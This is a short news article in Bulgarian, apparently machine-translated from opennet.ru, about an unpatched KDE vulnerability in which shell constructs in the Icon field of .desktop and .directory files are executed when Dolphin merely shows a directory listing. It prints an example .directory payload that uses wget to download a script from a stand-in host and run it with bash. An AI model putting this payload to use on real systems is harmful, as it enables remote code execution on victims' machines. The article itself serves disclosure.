Уязвимост при изпълнение на код на KDE при преглед на списък с файлове

В KDE идентифицирани уязвимост, което позволява на атакуващия да изпълнява произволни команди, когато потребител преглежда директория или архив, съдържащ специално проектирани „.desktop“ и „.directory“ файлове. Една атака изисква потребителят просто да види списък с файлове във файловия мениджър на Dolphin, да изтегли злонамерен файл на работния плот или да плъзне пряк път върху работния плот или в документ. Проблемът се проявява в текущата версия на библиотеките KDE Рамки 5.60.0 и по-стари версии, до KDE 4. Уязвимостта е все още остава некоригиран (CVE не е присвоен).

Проблемът е причинен от неправилна реализация на класа KDesktopFile, който, когато обработва променливата „Icon“, без правилно екраниране, предава стойността на функцията KConfigPrivate::expandString(), която извършва разширяване на специални символи на обвивката, включително обработка низовете “$(..)” като команди за изпълнение. Противно на изискванията на спецификацията XDG, изпълнение разкриване черупковите конструкции се произвеждат без разделяне на типа настройки, т.е. не само при определяне на командния ред на приложението, което ще се стартира, но и при указване на иконите, показвани по подразбиране.

Например да атакува достатъчно изпрати на потребителя zip архив с директория, съдържаща файл „.directory“, като:

[Запис на работния плот] Тип=Директория
Икона[$e]=$(wget${IFS}https://example.com/FILENAME.sh&&/bin/bash${IFS}FILENAME.sh)

Когато се опитате да прегледате съдържанието на архива във файловия мениджър на Dolphin, скриптът https://example.com/FILENAME.sh ще бъде изтеглен и изпълнен.

Източник: opennet.ru